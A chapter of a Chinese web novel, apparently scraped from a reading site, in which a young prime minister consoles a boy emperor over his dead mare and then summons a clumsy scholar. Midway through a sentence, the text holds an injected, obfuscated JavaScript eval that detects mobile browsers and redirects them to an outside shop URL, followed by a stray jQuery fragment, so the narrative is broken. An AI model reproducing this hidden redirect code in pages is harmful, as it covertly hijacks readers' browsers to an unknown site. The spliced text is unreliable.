5. 第 5 章
    小皇帝抬手,用手背狠狠的拭了把泪。

    果真男儿有泪不轻弹,只是未到伤心时啊。

    古人诚不欺我。

    轩辕珏顶着红肿不堪的眼睛,忍着哭意道:“我给它取名叫枣花儿。”

    苏橙揉了揉鼻尖,视线落在草堆里打滚的小马驹,一不小心看到了马儿最要紧的部位。

    她讪讪的别过头,使劲眨眼驱散刚才看到的画面,这马明显是个公的啊,怎么取个这么......温柔的名字。

    她吸气呼气,调整气息,尊重并试图理解,“枣花,挺有植物气息的名字,挺接地气的。”真是不会夸也要硬夸啊。

    苏橙严肃了神情,残忍的选择给他讲生离死别的知识,“陛下正年少,迟早要经历生离死别。”

    “我知道,父皇仙逝的时候我就知道。”

    哦,怎么把这一茬给忘了,轩辕珏继位的原因不正是先帝驾崩嘛。

    “嗯——万物都有属于自己的命数,就像枣花的母亲、”苏橙觉得还是要尊重小动物,尤其是被主人以爱相护的小动物,“它母亲叫什么?”

    “枣花。”轩辕珏把站起来的小马驹抱进怀里,温柔的抚慰它。

    “臣知道它叫枣花,臣问的是生它的母马叫什么?”

    轩辕珏眨巴着湿漉漉的眼睛,那股可怜劲跟小马驹没什么两样,连苏橙看了都要怀疑自己说话的语气是不是太重了。

    “丞相,母马叫枣花,它叫枣花儿,我说的没错啊。”轩辕珏不知道苏橙究竟为什么追问,可怜兮兮的抱紧小马驹。

    苏橙听懂后,整个人都炸裂了。

    枣花的孩子叫枣花儿,从雌雄上来分,确实不算错,反而很准确,但是小皇帝你起名也太不走心啦!

    谁家给马这样起名啊?以母马的名冠小马驹的姓,单名一个儿字。

    珏,不愧是你,真的绝!

    一番安慰后,苏橙觉得小皇帝的文化水平岌岌可危,必须尽快安排傅齐和季梓书跟他见面。

    “丞相,父皇离开的时候大臣们都在哭,我当时不明白,可现在我知道了,那种感觉就像枣花离开我一样。”轩辕珏捂着胸口,疼的抽噎,“我这里好痛,就好像有人一直在用尖刀戳它一样。”

    可怜的孩子啊,苏橙半蹲下身子,不顾他身上的脏污,借了他一个可以依靠的肩膀,“没事的,枣花儿还在,它会代替枣花陪着陛下的。”

    轩辕珏从她肩膀上抬起头,被泪水洗过的眸子干净的不能再干净,他如今也不过是一张干净的白纸,虽养在乡间,性子野了点,可人是好的,讲道理,又爱护动物,苏橙突然觉得这孩子将来必能成为一代明君。

    “丞相大人也会像父皇那样离开我吗?”

    嗯?苏橙扭头狐疑的看着他,这话可不兴说啊。

    先皇离开那是到了年岁,可苏橙正年轻,要离开也是去别的地方逍遥快活,怎么着也犯不上嘎掉啊。

    再说了,苏橙这身份今年刚加冠,比之轩辕珏不过大了七岁,若是身体锻炼的好,跟小皇帝一块躺坑也未尝不可能啊。

    “陛下,臣受先帝所托尽心辅佐陛下,可这天下终究是陛下的天下,终有一日臣会离开的。”就在昨天,苏橙还在脑子里计划着二十七岁退休后的美好生活,她决定这个辅佐的苦逼活,最多干到小皇帝加冠,也就是轩辕珏二十岁的时候,离现在正好还有七年。

    “可是父皇留下的信笺说,你会一直辅佐我的,丞相大人不能不离开吗?”轩辕珏站起身来,小马驹站在他身后,苏橙还半蹲在地上,两人诡异的呈现出一种男高女低的画面。

    被人俯视的滋味不好受,即便对方是心思单纯的小皇帝。

    苏橙“欻”的从地上站起来,发挥自己一米七二的身高优势,成功的扳回了一局。

    小皇帝还年少,身量还在长,站起来远远没她高。

    苏橙俯视着他,弯着腰拍着他的肩膀,语重心长道:“陛下终有长大成人那一天,兴许还未到那一日,你就想让臣早些离开了。”

    轩辕珏不懂,他只是觉得朝堂之上有丞相顶着,他就可以在宫里肆意玩乐。

    可从苏橙的话来看,明显不可能,轩辕珏扁了扁嘴,最后还是选择带着小马驹离开了。

    看着小皇帝青涩、孤傲、悲伤、沉痛、无助的背影,苏橙叹了口气,招手把大太监何常喊了过来。

    “丞相大人您有何吩咐?”何常揣着手弓着腰小跑过来,内心还觉得苏橙真不愧是丞相,居然这么轻而易举地就让小皇帝离开了马厩,要在以前,小皇帝难过的时候,他能一个人在某个地方待一天,谁来劝都没用。

    这孩子年纪虽小,可这性子,倔啊!

    “你给枣花,就是今天没了的母马,选个风水宝地好生安葬了,以后陛下怀念了好有个去处。”她三言两语交代完,朝会的时间也过去了大半,今日小皇帝是决计上不了早朝了。

    亲马离世的滋味对于轩辕珏来说不亚于亲妈离世,孩子又这么小,估计要难过好几天。

    可这又能怎么办呢?苏橙也不想逼迫悲伤不已的小皇帝上朝,只能随他去几天。

    可到了处理奏折的时候,苏橙又觉得自己脑子有坑,轩辕珏是舒服了,她给自己找罪受。

    看着洋洋洒洒、辞藻华丽、无甚重点、满篇仁义的奏折,她狠狠一拍桌子,惊得殿外守门的小太监们浑身一抖,以为她被气到了,弯着身子佝偻着肩膀颤巍巍跑进来跪下,“丞丞丞丞相大人,您请息怒!”

    苏橙现在满脑都在想要如何在人力不变的情况下,也就是她个人能力比较low的情况下提高批改奏折的效率,直到她眉头紧的能夹死苍蝇,视线再次落在那工整的密密麻麻的馆阁体上,她茅塞顿开。

    终于,一个骚主意!华丽丽的诞生了!

    看着地上抖如筛糠的小太监,她双手撑在书桌上,一个凌空飞跃“biu”的跨了过去,随后一振衣袖,露出

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13354269|140655||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    沾了不少笔墨的双手,郑重其事地将小太监扶了起来。

    “我有一事需你帮忙。”看着苏橙严肃的神情,小太监更害怕了。

    她大手一挥,气宇轩昂,背对着小太监道:“帮我把景采召进宫来!”

    小太监:......一惊一乍吓死个人啦。

    那篇关于“衙门前的树能不能砍”的绝世议论性长篇文章,至今让苏橙记忆深刻,她实在是迫不及待的想要看看能写出这种旷世奇作的大奇葩究竟是何方神圣。

    当然,别误会,她绝对是抱着重用的心态。

    景采,璩州人士,当年殿试的时候差了点运气,屈居状元、榜眼、探花之后,也就是无人关注的殿试第四名,这个名次不算低,但处在这个位置有点尴尬,幸而景采顺利通过朝考且名列一等第一,被选拔为庶吉士后在庶常馆又待了三年,最后留任散馆授正七品编修。

    看完他的经历,苏橙不得不感慨,这人真是考公的一把好手,看来轩辕国人才辈出,也不是无人可用啊。

    景采正编撰史书,冷不丁被丞相大人召见,诚惶诚恐地换上青色官服,带好官帽,骑着自己小毛驴,往宫里去了。

    苏橙有些头疼的看了眼奏折,时不时的朝殿门外抬头张望,急得跟浑身刺挠一样,在等景采进宫的这大半个时辰里,苏橙共问了小太监三十五次人来了没,最后直接跑出去,扒着门框往官道上望。

    终于,在她即将问第五十五次时,小太监喜悦的跳了进来,大声通禀:“丞相大人,翰林大人来了!”

    苏橙一把掠过小太监,除了耳边风声,快的只剩下空中残影,只见她冲到大殿门口,左等右等终于把人给等来了。

    她压抑着内心的喜悦,期待着一位学富五车才高八斗的......小白脸?

    只见这人一张白净皮面,浓眉大眼,活脱脱一个良家男啊......啊呸,说错话了。

    往殿内走的这几步,不急不躁,有条不紊,一阵懂事的风儿吹过来,拨动男子身上宽大的官袍,衣衫贴到身上,露出如松如竹的直挺脊背,满满的文人风骨。

    但很快,空气凝滞了瞬。

    空气凝滞这一瞬,正是景采提起衣摆跨过门槛的这一瞬,他明明已经很小心了,可还是被绊了一跤,歪三扭四节奏感极强的表演了一段踩脚舞后,他终于站稳了身子。

    景采惊魂未定的抚了抚胸口,差一点就要摔倒了,幸好没人看......看完了......完了!

    景采抬头,视线正好跟僵在原地的苏橙对上,好了,拜见丞相的第一面,面子里子全都没了。

    苏橙惊讶于对方的年轻,景采则低着头佯装镇定。

    “嗨?”两人呆愣愣的对着站了有一分钟,苏橙率先举起右手打了个招呼。

    景采用袖子抹了把额头上的汗,一张白净的面皮此刻嫣红嫣红,他俯低身子行礼,尽量不与苏橙对视:“微臣翰林院编修景采,见过丞相大人。”